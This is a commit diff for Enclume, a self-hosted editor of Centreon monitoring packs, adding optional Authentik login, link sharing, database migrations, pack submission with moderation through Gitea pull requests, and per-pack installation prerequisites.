Partage par lien, comptes Authentik, soumission et moderation de packs, prerequis des sondes ; corrige le lien casse vers le script de l'editeur
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
This commit is contained in:
1 parent
3f0046c208
commit
b063d59525
34 files changed
+2216
-26
No files matched your search
+19
-1
@@ -17,5 +17,23 @@ CATALOG_SUBDIR=catalog
|
||||
SYNC_INTERVAL=300
|
||||
CATALOG_SUBDIR=catalog
|
||||
|
||||
# Base de donnees (chantier 2)
|
||||
# Base de donnees
|
||||
POSTGRES_PASSWORD=a-remplacer
|
||||
|
||||
# Sessions : generer avec openssl rand -hex 32
|
||||
ENCLUME_SECRET_KEY=a-remplacer
|
||||
ENCLUME_PARTAGE_JOURS=90
|
||||
|
||||
# Connexion optionnelle par Authentik (laisser vide pour un site sans comptes)
|
||||
ENCLUME_OIDC_METADATA=https://authentik.tips-of-mine.com/application/o/enclume/.well-known/openid-configuration
|
||||
ENCLUME_OIDC_CLIENT_ID=
|
||||
ENCLUME_OIDC_CLIENT_SECRET=
|
||||
ENCLUME_ADMIN_GROUPE=enclume-admins
|
||||
# Depannage du premier demarrage, avant le mapping de portee "groups" :
|
||||
ENCLUME_ADMIN_COMPTES=
|
||||
|
||||
# Publication des packs acceptes, sous forme de demandes de fusion
|
||||
ENCLUME_GITEA_URL=https://gitea.tips-of-mine.com
|
||||
ENCLUME_GITEA_TOKEN=
|
||||
ENCLUME_GITEA_PROPRIETAIRE=Tips-Of-Mine
|
||||
ENCLUME_GITEA_DEPOT=Enclume
|
||||
+5
-1
@@ -40,6 +40,10 @@ COPY --from=build /opt/venv /opt/venv
|
||||
WORKDIR /app
|
||||
COPY --chown=root:root enclume/ /app/enclume/
|
||||
COPY --chown=root:root catalog/ /app/catalog/
|
||||
COPY --chown=root:root migrations/ /app/migrations/
|
||||
COPY --chown=root:root alembic.ini /app/alembic.ini
|
||||
COPY --chown=root:root docker/entrypoint-web.sh /usr/local/bin/entrypoint-web
|
||||
RUN chmod +x /usr/local/bin/entrypoint-web
|
||||
|
||||
USER enclume
|
||||
EXPOSE 8080
|
||||
@@ -47,4 +51,4 @@ EXPOSE 8080
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
|
||||
CMD python -c "import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8080/sante', timeout=4).status==200 else 1)"
|
||||
|
||||
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:8080 --workers ${GUNICORN_WORKERS} --timeout ${GUNICORN_TIMEOUT} --access-logfile - --error-logfile - --forwarded-allow-ips '*' 'enclume.webapp:create_app()'"]
|
||||
CMD ["/usr/local/bin/entrypoint-web"]
|
||||
@@ -18,12 +18,20 @@ Projet indépendant, sans lien avec Centreon SAS.
|
||||
- **Version de Centreon** au niveau du projet : les macros sortent en 3 ou 5 champs selon
|
||||
la cible.
|
||||
|
||||
- **Prérequis d'installation** : un pack peut déclarer ses paquets et ses droits, générés
|
||||
dans un `prerequis.sh` distinct du CLAPI.
|
||||
- **Partage par lien**, projets enregistrés et **soumission de packs** quand l'instance est
|
||||
configurée pour — voir [docs/COMPTES-ET-MODERATION.md](docs/COMPTES-ET-MODERATION.md).
|
||||
|
||||
## Ce que le serveur ne fait pas
|
||||
|
||||
Le projet vit dans le navigateur du visiteur (`localStorage`), s'exporte en JSON et se
|
||||
réimporte. Le serveur valide et génère, sans rien conserver. Les macros marquées « mot de
|
||||
passe » ne sont jamais stockées ni partagées : elles sont vidées avant toute écriture côté
|
||||
serveur.
|
||||
Il n'exécute rien. Ni CLAPI, ni prérequis, ni contribution : il écrit des fichiers que
|
||||
l'utilisateur relit avant de les jouer.
|
||||
|
||||
Sans configuration, le projet vit dans le navigateur (`localStorage`), s'exporte en JSON et
|
||||
se réimporte ; le serveur valide et génère sans rien conserver. Avec une base, le partage et
|
||||
l'enregistrement deviennent possibles — et les macros marquées « mot de passe » sont vidées
|
||||
avant toute écriture, quelle qu'elle soit.
|
||||
|
||||
## Architecture
|
||||
|
||||
@@ -69,6 +77,10 @@ python3 -m enclume.cli --projet mon-projet.json --out ./sortie
|
||||
| `POST /api/valider` | validation seule |
|
||||
| `POST /api/generer` | validation et génération des quatre fichiers |
|
||||
| `POST /telecharger` | archive zip |
|
||||
| `POST /api/partages` `GET /api/partages/<id>` | partage par lien |
|
||||
| `GET POST DELETE /api/projets` | projets enregistrés (connexion requise) |
|
||||
| `POST /api/soumissions/verifier` `POST /api/soumissions` | contribution d'un pack |
|
||||
| `/api/moderation/...` | file de modération (groupe d'administration) |
|
||||
| `GET /sante` | version, commit, état du catalogue |
|
||||
| `POST /recharger` | relecture du catalogue (appelé par `catalog-sync`) |
|
||||
|
||||
@@ -101,7 +113,7 @@ compose.dev.yaml développement local
|
||||
|
||||
1. Éditeur libre — **fait**
|
||||
2. Empaquetage Docker, CI, exploitation — **fait**
|
||||
3. Partage par lien et projets enregistrés (PostgreSQL)
|
||||
4. Connexion optionnelle via Authentik
|
||||
5. Soumission de packs et modération, écriture dans Gitea
|
||||
3. Partage par lien et projets enregistrés — **fait**
|
||||
4. Connexion optionnelle via Authentik — **fait**
|
||||
5. Soumission de packs et modération, demandes de fusion Gitea — **fait**
|
||||
6. Habillage public : page d'accueil, mentions, documentation d'usage
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# Migrations de la base Enclume.
|
||||
# L'URL n'est pas ecrite ici : elle vient de ENCLUME_DATABASE_URL, lue par env.py.
|
||||
[alembic]
|
||||
script_location = migrations
|
||||
prepend_sys_path = .
|
||||
|
||||
[loggers]
|
||||
keys = root,sqlalchemy,alembic
|
||||
|
||||
[handlers]
|
||||
keys = console
|
||||
|
||||
[formatters]
|
||||
keys = generic
|
||||
|
||||
[logger_root]
|
||||
level = WARN
|
||||
handlers = console
|
||||
qualname =
|
||||
|
||||
[logger_sqlalchemy]
|
||||
level = WARN
|
||||
handlers =
|
||||
qualname = sqlalchemy.engine
|
||||
|
||||
[logger_alembic]
|
||||
level = INFO
|
||||
handlers =
|
||||
qualname = alembic
|
||||
|
||||
[handler_console]
|
||||
class = StreamHandler
|
||||
args = (sys.stderr,)
|
||||
level = NOTSET
|
||||
formatter = generic
|
||||
|
||||
[formatter_generic]
|
||||
format = %(levelname)-5.5s [%(name)s] %(message)s
|
||||
@@ -13,6 +13,15 @@ host_template:
|
||||
- {name: MSSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||
- {name: MSSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||
- {name: MSSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: [libdbd-sybase-perl, freetds-bin]
|
||||
rhel: [perl-DBD-Sybase, freetds]
|
||||
notes: |
|
||||
Le plugin passe par FreeTDS. Verifier /etc/freetds/freetds.conf et le
|
||||
droit VIEW SERVER STATE pour le compte de supervision.
|
||||
verifications:
|
||||
- "/usr/lib/centreon/plugins/centreon_mssql.pl --plugin=database::mssql::plugin --list-mode"
|
||||
services:
|
||||
- name: Connection-Time
|
||||
alias: Connection-Time
|
||||
|
||||
@@ -13,6 +13,16 @@ host_template:
|
||||
- {name: MYSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||
- {name: MYSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||
- {name: MYSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: [libdbd-mysql-perl]
|
||||
rhel: [perl-DBD-MySQL]
|
||||
notes: |
|
||||
Creer un compte de supervision en lecture seule sur l'instance :
|
||||
CREATE USER 'centreon'@'%' IDENTIFIED BY '...';
|
||||
GRANT REPLICATION CLIENT, PROCESS, SELECT ON *.* TO 'centreon'@'%';
|
||||
verifications:
|
||||
- "/usr/lib/centreon/plugins/centreon_mysql.pl --plugin=database::mysql::plugin --list-mode"
|
||||
services:
|
||||
- name: Connection-Time
|
||||
alias: Connection-Time
|
||||
|
||||
@@ -14,6 +14,13 @@ host_template:
|
||||
- {name: ORACLEUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||
- {name: ORACLEPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||
- {name: ORACLEEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||
prerequis:
|
||||
notes: |
|
||||
Necessite le client Oracle Instant Client et le module Perl DBD::Oracle,
|
||||
tous deux absents des depots standards : suivre la procedure Oracle, puis
|
||||
definir ORACLE_HOME et LD_LIBRARY_PATH pour l'utilisateur centreon-engine.
|
||||
verifications:
|
||||
- "/usr/lib/centreon/plugins/centreon_oracle.pl --plugin=database::oracle::plugin --list-mode"
|
||||
services:
|
||||
- name: Connection-Time
|
||||
alias: Connection-Time
|
||||
|
||||
@@ -14,6 +14,16 @@ host_template:
|
||||
- {name: PGPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||
- {name: PGDATABASE, value: "postgres", description: "Base de connexion"}
|
||||
- {name: PGEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: [libdbd-pg-perl]
|
||||
rhel: [perl-DBD-Pg]
|
||||
notes: |
|
||||
Compte de supervision avec le role pg_monitor :
|
||||
CREATE ROLE centreon LOGIN PASSWORD '...';
|
||||
GRANT pg_monitor TO centreon;
|
||||
verifications:
|
||||
- "/usr/lib/centreon/plugins/centreon_postgres.pl --plugin=database::postgres::plugin --list-mode"
|
||||
services:
|
||||
- name: Connection-Time
|
||||
alias: Connection-Time
|
||||
|
||||
@@ -14,6 +14,13 @@ host_template:
|
||||
- {name: VMWARECONTAINER, value: "default", description: "Nom du container declare dans le connecteur"}
|
||||
- {name: VMWAREESXHOSTNAME, value: "", description: "Nom de l'hote ESXi dans le vCenter"}
|
||||
- {name: VMWAREEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: [centreon-plugin-virtualization-vmware2-connector-daemon]
|
||||
rhel: [centreon-plugin-virtualization-vmware2-connector-daemon]
|
||||
notes: |
|
||||
Le connecteur Centreon VMware doit tourner et declarer un container
|
||||
pointant sur le vCenter, avec un compte en lecture seule.
|
||||
services:
|
||||
- name: Host-Status
|
||||
alias: Host-Status
|
||||
|
||||
@@ -12,6 +12,13 @@ host_template:
|
||||
check_command_args: "!3!200,20%!400,50%"
|
||||
macros:
|
||||
- {name: NRPEPORT, value: "5666", description: "Port d'ecoute de l'agent NRPE"}
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: [centreon-nrpe3-plugin]
|
||||
rhel: [centreon-nrpe3-plugin]
|
||||
notes: |
|
||||
Cote client supervise : installer l'agent NRPE, declarer l'adresse du
|
||||
collecteur dans allowed_hosts, et definir les commandes appelees.
|
||||
services:
|
||||
- name: Cpu
|
||||
alias: Cpu
|
||||
|
||||
+22
-2
@@ -18,6 +18,26 @@ services:
|
||||
ENCLUME_CATALOG: /catalogue/actuel
|
||||
GUNICORN_WORKERS: ${GUNICORN_WORKERS:-2}
|
||||
TZ: ${TZ:-Europe/Paris}
|
||||
ENCLUME_URL_PUBLIQUE: https://${ENCLUME_DOMAINE}
|
||||
# Sessions. Sans cle, elles sont perdues a chaque redemarrage.
|
||||
ENCLUME_SECRET_KEY: ${ENCLUME_SECRET_KEY:?definir ENCLUME_SECRET_KEY}
|
||||
# Base : sans elle, ni partage ni comptes, l'editeur fonctionne quand meme.
|
||||
ENCLUME_DATABASE_URL: postgresql+psycopg://enclume:${POSTGRES_PASSWORD}@db:5432/enclume
|
||||
ENCLUME_PARTAGE_JOURS: ${ENCLUME_PARTAGE_JOURS:-90}
|
||||
# Connexion optionnelle, deleguee a Authentik qui federe GitHub et Google.
|
||||
ENCLUME_OIDC_METADATA: ${ENCLUME_OIDC_METADATA:-}
|
||||
ENCLUME_OIDC_CLIENT_ID: ${ENCLUME_OIDC_CLIENT_ID:-}
|
||||
ENCLUME_OIDC_CLIENT_SECRET: ${ENCLUME_OIDC_CLIENT_SECRET:-}
|
||||
ENCLUME_ADMIN_GROUPE: ${ENCLUME_ADMIN_GROUPE:-enclume-admins}
|
||||
ENCLUME_ADMIN_COMPTES: ${ENCLUME_ADMIN_COMPTES:-}
|
||||
# Depot du catalogue : la moderation y ouvre des demandes de fusion.
|
||||
ENCLUME_GITEA_URL: ${ENCLUME_GITEA_URL:-}
|
||||
ENCLUME_GITEA_TOKEN: ${ENCLUME_GITEA_TOKEN:-}
|
||||
ENCLUME_GITEA_PROPRIETAIRE: ${ENCLUME_GITEA_PROPRIETAIRE:-}
|
||||
ENCLUME_GITEA_DEPOT: ${ENCLUME_GITEA_DEPOT:-}
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
volumes:
|
||||
- catalogue:/catalogue:ro
|
||||
networks: [back_network_enclume, db_network_enclume, traefik_front_network]
|
||||
@@ -95,8 +115,8 @@ services:
|
||||
driver: json-file
|
||||
options: {max-size: "5m", max-file: "2"}
|
||||
|
||||
# Utilisee a partir du chantier 2 (liens de partage, projets enregistres).
|
||||
# L'application fonctionne sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
|
||||
# Partages, projets enregistres et soumissions de packs.
|
||||
# L'application demarre sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
|
||||
db:
|
||||
image: postgres:16.4-alpine
|
||||
restart: unless-stopped
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/sh
|
||||
# Demarrage de l'application.
|
||||
#
|
||||
# Les migrations tournent avant gunicorn, et un echec arrete le conteneur :
|
||||
# une base a moitie migree derriere une application qui repond serait pire
|
||||
# qu'une indisponibilite visible.
|
||||
set -eu
|
||||
|
||||
if [ -n "${ENCLUME_DATABASE_URL:-}" ]; then
|
||||
echo "enclume : migration de la base"
|
||||
alembic upgrade head
|
||||
else
|
||||
echo "enclume : aucune base configuree, mode sans etat"
|
||||
fi
|
||||
|
||||
exec gunicorn \
|
||||
--bind 0.0.0.0:8080 \
|
||||
--workers "${GUNICORN_WORKERS:-2}" \
|
||||
--timeout "${GUNICORN_TIMEOUT:-30}" \
|
||||
--access-logfile - \
|
||||
--error-logfile - \
|
||||
--forwarded-allow-ips '*' \
|
||||
'enclume.webapp:create_app()'
|
||||
@@ -0,0 +1,92 @@
|
||||
# Comptes, partage et modération
|
||||
|
||||
Trois fonctionnalités s'activent indépendamment. Aucune n'est obligatoire : sans base de
|
||||
données, sans OIDC et sans jeton Gitea, Enclume reste l'éditeur qui génère du CLAPI. C'est
|
||||
ce qui permet à n'importe qui de l'auto-héberger sans rien configurer.
|
||||
|
||||
| Fonction | Ce qu'il faut | Sans ça |
|
||||
|---|---|---|
|
||||
| Partage par lien | `ENCLUME_DATABASE_URL` | bouton absent |
|
||||
| Comptes et projets enregistrés | base + OIDC | site utilisable, sans connexion |
|
||||
| Soumission de packs | base + OIDC | contributions par pull request uniquement |
|
||||
| Publication des packs acceptés | jeton Gitea | modération possible, publication non |
|
||||
|
||||
`/sante` annonce l'état réel de chacune.
|
||||
|
||||
## Authentik
|
||||
|
||||
Un seul fournisseur est déclaré côté Enclume. C'est Authentik qui fédère GitHub, Google ou
|
||||
tout autre fournisseur social : en ajouter un plus tard ne demande aucun redéploiement.
|
||||
|
||||
**Créer le fournisseur** — Applications → Fournisseurs → Créer → OAuth2/OpenID.
|
||||
|
||||
- Type de client : **Confidentiel**
|
||||
- URI de redirection, en correspondance stricte : `https://<domaine>/connexion/retour`
|
||||
- Portées : `openid`, `email`, `profile`
|
||||
- Noter l'identifiant client et le secret
|
||||
|
||||
**Créer l'application** — Applications → Applications → Créer. Le **slug** compte : c'est lui
|
||||
qui apparaît dans l'URL de découverte.
|
||||
|
||||
```
|
||||
ENCLUME_OIDC_METADATA=https://authentik.<domaine>/application/o/<slug>/.well-known/openid-configuration
|
||||
ENCLUME_OIDC_CLIENT_ID=...
|
||||
ENCLUME_OIDC_CLIENT_SECRET=...
|
||||
```
|
||||
|
||||
**Le groupe de modération.** Enclume lit la revendication `groups` du jeton, qu'Authentik
|
||||
n'envoie pas par défaut. Créer une correspondance de portée (Personnalisation → Property
|
||||
Mappings → Scope Mapping), nom de portée `groups`, expression :
|
||||
|
||||
```python
|
||||
return {"groups": [group.name for group in request.user.ak_groups.all()]}
|
||||
```
|
||||
|
||||
Puis ajouter cette portée au fournisseur, et créer un groupe `enclume-admins` dont tu es
|
||||
membre.
|
||||
|
||||
Le temps de mettre ça en place, `[email protected]` donne l'accès
|
||||
à la modération sur la seule foi de l'adresse. À vider ensuite.
|
||||
|
||||
## Le jeton Gitea
|
||||
|
||||
Un jeton d'accès personnel sur le compte qui ouvrira les demandes de fusion, avec la portée
|
||||
`write:repository` sur le dépôt du catalogue. Publier un pack accepté crée une branche, y
|
||||
dépose le fichier YAML et ouvre une pull request — **jamais un push sur la branche
|
||||
principale**. Tu relis dans Gitea avant de fusionner.
|
||||
|
||||
## Ce qui n'est jamais stocké
|
||||
|
||||
Les macros marquées « mot de passe » sont vidées avant toute écriture en base : partage,
|
||||
projet enregistré, soumission. Un site public n'a aucune raison de détenir le mot de passe
|
||||
MySQL de quelqu'un. L'avertissement affiché au partage le rappelle à l'utilisateur.
|
||||
|
||||
## Migrations
|
||||
|
||||
Le conteneur `web` exécute `alembic upgrade head` à son démarrage, puis lance gunicorn. Un
|
||||
échec de migration arrête le conteneur : une base à moitié migrée derrière une application
|
||||
qui répond serait pire qu'une indisponibilité visible.
|
||||
|
||||
**Règle d'écriture des migrations** : on ajoute, on ne retire jamais dans la même version que
|
||||
le code qui cesse d'utiliser une colonne. La suppression arrive une version plus tard. Sans
|
||||
cette discipline, revenir à l'image précédente casse l'application — et tout l'intérêt des
|
||||
tags immuables disparaît.
|
||||
|
||||
Sauvegarde avant une montée de version qui touche au schéma :
|
||||
|
||||
```bash
|
||||
docker compose exec -T db pg_dump -U enclume enclume | zstd > enclume-$(date +%F).sql.zst
|
||||
```
|
||||
|
||||
## Les limites en place
|
||||
|
||||
| Réglage | Défaut | Rôle |
|
||||
|---|---|---|
|
||||
| `ENCLUME_PARTAGE_JOURS` | 90 | expiration des liens |
|
||||
| `ENCLUME_PROJETS_PAR_COMPTE` | 50 | projets enregistrés par compte |
|
||||
| `ENCLUME_SOUMISSIONS_PAR_JOUR` | 10 | soumissions par compte et par jour |
|
||||
| `ENCLUME_TAILLE_MAX_PACK` | 256 ko | taille d'un YAML soumis |
|
||||
| `ENCLUME_TAILLE_MAX_PROJET` | 2 Mo | taille d'un projet |
|
||||
|
||||
Les identifiants de partage font 12 caractères tirés au hasard, soit 72 bits : ils ne
|
||||
s'énumèrent pas. Les liens expirés sont purgés à chaque nouveau partage.
|
||||
+155
@@ -0,0 +1,155 @@
|
||||
"""Connexion optionnelle par OpenID Connect.
|
||||
|
||||
Le site reste entierement utilisable sans compte : se connecter n'ajoute que
|
||||
l'enregistrement de projets cote serveur et la soumission de packs.
|
||||
|
||||
Un seul fournisseur est declare, Authentik, qui federe lui-meme GitHub, Google
|
||||
ou tout autre fournisseur social. L'application n'a donc jamais a connaitre les
|
||||
identifiants de ces services, ni a etre redeployee quand on en ajoute un.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import functools
|
||||
from typing import Any, Callable
|
||||
|
||||
from authlib.integrations.flask_client import OAuth
|
||||
from flask import Blueprint, current_app, jsonify, redirect, request, session, url_for
|
||||
|
||||
from .config import Config
|
||||
from .db import Utilisateur, db, maintenant
|
||||
|
||||
oauth = OAuth()
|
||||
bp = Blueprint("auth", __name__)
|
||||
|
||||
|
||||
def init_app(app) -> None:
|
||||
oauth.init_app(app)
|
||||
if not Config.oidc_actif():
|
||||
return
|
||||
oauth.register(
|
||||
name="fournisseur",
|
||||
client_id=Config.OIDC_CLIENT_ID,
|
||||
client_secret=Config.OIDC_CLIENT_SECRET,
|
||||
server_metadata_url=Config.OIDC_METADATA,
|
||||
client_kwargs={"scope": Config.OIDC_SCOPES},
|
||||
)
|
||||
app.register_blueprint(bp)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Etat de la session
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
def utilisateur_courant() -> Utilisateur | None:
|
||||
identifiant = session.get("utilisateur_id")
|
||||
if not identifiant or not Config.base_active():
|
||||
return None
|
||||
return db.session.get(Utilisateur, identifiant)
|
||||
|
||||
|
||||
def est_administrateur(utilisateur: Utilisateur | None = None) -> bool:
|
||||
utilisateur = utilisateur or utilisateur_courant()
|
||||
return bool(utilisateur and utilisateur.administrateur)
|
||||
|
||||
|
||||
def connexion_requise(vue: Callable) -> Callable:
|
||||
@functools.wraps(vue)
|
||||
def enveloppe(*args: Any, **kwargs: Any):
|
||||
if utilisateur_courant() is None:
|
||||
return jsonify({"erreur": "connexion requise"}), 401
|
||||
return vue(*args, **kwargs)
|
||||
|
||||
return enveloppe
|
||||
|
||||
|
||||
def administration_requise(vue: Callable) -> Callable:
|
||||
@functools.wraps(vue)
|
||||
def enveloppe(*args: Any, **kwargs: Any):
|
||||
utilisateur = utilisateur_courant()
|
||||
if utilisateur is None:
|
||||
return jsonify({"erreur": "connexion requise"}), 401
|
||||
if not utilisateur.administrateur:
|
||||
return jsonify({"erreur": "reserve a la moderation"}), 403
|
||||
return vue(*args, **kwargs)
|
||||
|
||||
return enveloppe
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Parcours de connexion
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
def _destination_sure(brut: str | None) -> str:
|
||||
"""N'accepte qu'un chemin interne : pas de redirection ouverte."""
|
||||
if not brut or not brut.startswith("/") or brut.startswith("//"):
|
||||
return "/"
|
||||
return brut
|
||||
|
||||
|
||||
@bp.get("/connexion")
|
||||
def connexion():
|
||||
session["retour"] = _destination_sure(request.args.get("retour"))
|
||||
redirection = url_for("auth.retour", _external=True)
|
||||
if Config.URL_PUBLIQUE:
|
||||
redirection = f"{Config.URL_PUBLIQUE}{url_for('auth.retour')}"
|
||||
return oauth.fournisseur.authorize_redirect(redirection)
|
||||
|
||||
|
||||
@bp.get("/connexion/retour")
|
||||
def retour():
|
||||
try:
|
||||
jeton = oauth.fournisseur.authorize_access_token()
|
||||
except Exception: # noqa: BLE001 - echec d'echange, on renvoie sans detail
|
||||
current_app.logger.warning("echec de l'echange du jeton OIDC")
|
||||
return redirect("/?connexion=echec")
|
||||
|
||||
revendications = jeton.get("userinfo") or {}
|
||||
if not revendications:
|
||||
try:
|
||||
revendications = oauth.fournisseur.userinfo(token=jeton)
|
||||
except Exception: # noqa: BLE001
|
||||
revendications = {}
|
||||
|
||||
sujet = str(revendications.get("sub") or "").strip()
|
||||
if not sujet:
|
||||
return redirect("/?connexion=echec")
|
||||
|
||||
utilisateur = db.session.query(Utilisateur).filter_by(sujet=sujet).one_or_none()
|
||||
if utilisateur is None:
|
||||
utilisateur = Utilisateur(sujet=sujet)
|
||||
db.session.add(utilisateur)
|
||||
|
||||
utilisateur.email = str(revendications.get("email") or "")[:320]
|
||||
utilisateur.nom = str(
|
||||
revendications.get("name") or revendications.get("preferred_username") or ""
|
||||
)[:255]
|
||||
utilisateur.administrateur = _est_admin(revendications)
|
||||
utilisateur.vu_le = maintenant()
|
||||
db.session.commit()
|
||||
|
||||
session.clear()
|
||||
session["utilisateur_id"] = utilisateur.id
|
||||
session.permanent = True
|
||||
return redirect(_destination_sure(session.pop("retour", "/")))
|
||||
|
||||
|
||||
def _est_admin(revendications: dict) -> bool:
|
||||
"""Deux voies : appartenance a un groupe, ou liste explicite de comptes.
|
||||
|
||||
La seconde existe pour le premier demarrage, avant que le mapping de portee
|
||||
"groups" ne soit configure cote Authentik.
|
||||
"""
|
||||
groupes = revendications.get("groups") or []
|
||||
if isinstance(groupes, str):
|
||||
groupes = [groupes]
|
||||
if Config.ADMIN_GROUPE and Config.ADMIN_GROUPE in groupes:
|
||||
return True
|
||||
email = str(revendications.get("email") or "").lower()
|
||||
return bool(email and email in Config.ADMIN_COMPTES)
|
||||
|
||||
|
||||
@bp.post("/deconnexion")
|
||||
def deconnexion():
|
||||
session.clear()
|
||||
return jsonify({"statut": "deconnecte"})
|
||||
@@ -98,6 +98,7 @@ class Pack:
|
||||
status: str
|
||||
host_template: HostTemplate
|
||||
services: list[Service]
|
||||
prerequis: dict[str, Any] = field(default_factory=dict)
|
||||
source_file: str = ""
|
||||
|
||||
@property
|
||||
@@ -130,6 +131,7 @@ class Pack:
|
||||
status=str(raw.get("status", "to-verify")),
|
||||
host_template=HostTemplate.from_dict(raw["host_template"]),
|
||||
services=[Service.from_dict(s) for s in raw.get("services") or []],
|
||||
prerequis=raw.get("prerequis") or {},
|
||||
source_file=source_file,
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
"""Configuration lue depuis l'environnement.
|
||||
|
||||
Toutes les fonctionnalites ajoutees aux chantiers 3 a 5 sont facultatives :
|
||||
sans base de donnees, sans OIDC et sans jeton Gitea, l'application reste
|
||||
exactement ce qu'elle etait — un editeur qui genere du CLAPI. C'est ce qui
|
||||
permet a n'importe qui de l'auto-heberger en trois lignes.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import secrets
|
||||
|
||||
|
||||
def _bool(nom: str, defaut: bool = False) -> bool:
|
||||
brut = os.environ.get(nom)
|
||||
if brut is None:
|
||||
return defaut
|
||||
return brut.strip().lower() in {"1", "true", "oui", "yes", "on"}
|
||||
|
||||
|
||||
def _int(nom: str, defaut: int) -> int:
|
||||
try:
|
||||
return int(os.environ.get(nom, defaut))
|
||||
except (TypeError, ValueError):
|
||||
return defaut
|
||||
|
||||
|
||||
class Config:
|
||||
# --- Identite du service ------------------------------------------------
|
||||
VERSION = os.environ.get("ENCLUME_VERSION", "dev")
|
||||
COMMIT = os.environ.get("ENCLUME_COMMIT", "inconnu")
|
||||
URL_PUBLIQUE = os.environ.get("ENCLUME_URL_PUBLIQUE", "").rstrip("/")
|
||||
|
||||
# --- Sessions -----------------------------------------------------------
|
||||
# Sans cle fournie, on en tire une au demarrage : les sessions ne survivent
|
||||
# pas a un redemarrage, ce qui est acceptable en developpement et bruyant
|
||||
# en production, donc visible.
|
||||
SECRET_KEY = os.environ.get("ENCLUME_SECRET_KEY") or secrets.token_hex(32)
|
||||
SECRET_KEY_FOURNIE = bool(os.environ.get("ENCLUME_SECRET_KEY"))
|
||||
SESSION_COOKIE_NAME = "enclume"
|
||||
SESSION_COOKIE_HTTPONLY = True
|
||||
SESSION_COOKIE_SAMESITE = "Lax"
|
||||
SESSION_COOKIE_SECURE = _bool("ENCLUME_COOKIE_SECURE", True)
|
||||
PERMANENT_SESSION_LIFETIME = _int("ENCLUME_SESSION_JOURS", 30) * 86400
|
||||
|
||||
# --- Base de donnees ----------------------------------------------------
|
||||
SQLALCHEMY_DATABASE_URI = os.environ.get("ENCLUME_DATABASE_URL", "")
|
||||
SQLALCHEMY_ENGINE_OPTIONS = {"pool_pre_ping": True, "pool_recycle": 1800}
|
||||
|
||||
# --- Partage ------------------------------------------------------------
|
||||
PARTAGE_JOURS = _int("ENCLUME_PARTAGE_JOURS", 90)
|
||||
PROJETS_PAR_COMPTE = _int("ENCLUME_PROJETS_PAR_COMPTE", 50)
|
||||
|
||||
# --- Authentification OIDC (Authentik) ----------------------------------
|
||||
OIDC_NOM = os.environ.get("ENCLUME_OIDC_NOM", "Authentik")
|
||||
OIDC_METADATA = os.environ.get("ENCLUME_OIDC_METADATA", "")
|
||||
OIDC_CLIENT_ID = os.environ.get("ENCLUME_OIDC_CLIENT_ID", "")
|
||||
OIDC_CLIENT_SECRET = os.environ.get("ENCLUME_OIDC_CLIENT_SECRET", "")
|
||||
OIDC_SCOPES = os.environ.get("ENCLUME_OIDC_SCOPES", "openid email profile")
|
||||
# Le groupe qui donne acces a la moderation. Necessite que le fournisseur
|
||||
# place la revendication "groups" dans le jeton (mapping de portee dedie
|
||||
# cote Authentik).
|
||||
ADMIN_GROUPE = os.environ.get("ENCLUME_ADMIN_GROUPE", "enclume-admins")
|
||||
ADMIN_COMPTES = [
|
||||
c.strip().lower()
|
||||
for c in os.environ.get("ENCLUME_ADMIN_COMPTES", "").split(",")
|
||||
if c.strip()
|
||||
]
|
||||
|
||||
# --- Depot du catalogue, pour les soumissions ---------------------------
|
||||
GITEA_URL = os.environ.get("ENCLUME_GITEA_URL", "").rstrip("/")
|
||||
GITEA_TOKEN = os.environ.get("ENCLUME_GITEA_TOKEN", "")
|
||||
GITEA_PROPRIETAIRE = os.environ.get("ENCLUME_GITEA_PROPRIETAIRE", "")
|
||||
GITEA_DEPOT = os.environ.get("ENCLUME_GITEA_DEPOT", "")
|
||||
GITEA_BRANCHE = os.environ.get("ENCLUME_GITEA_BRANCHE", "main")
|
||||
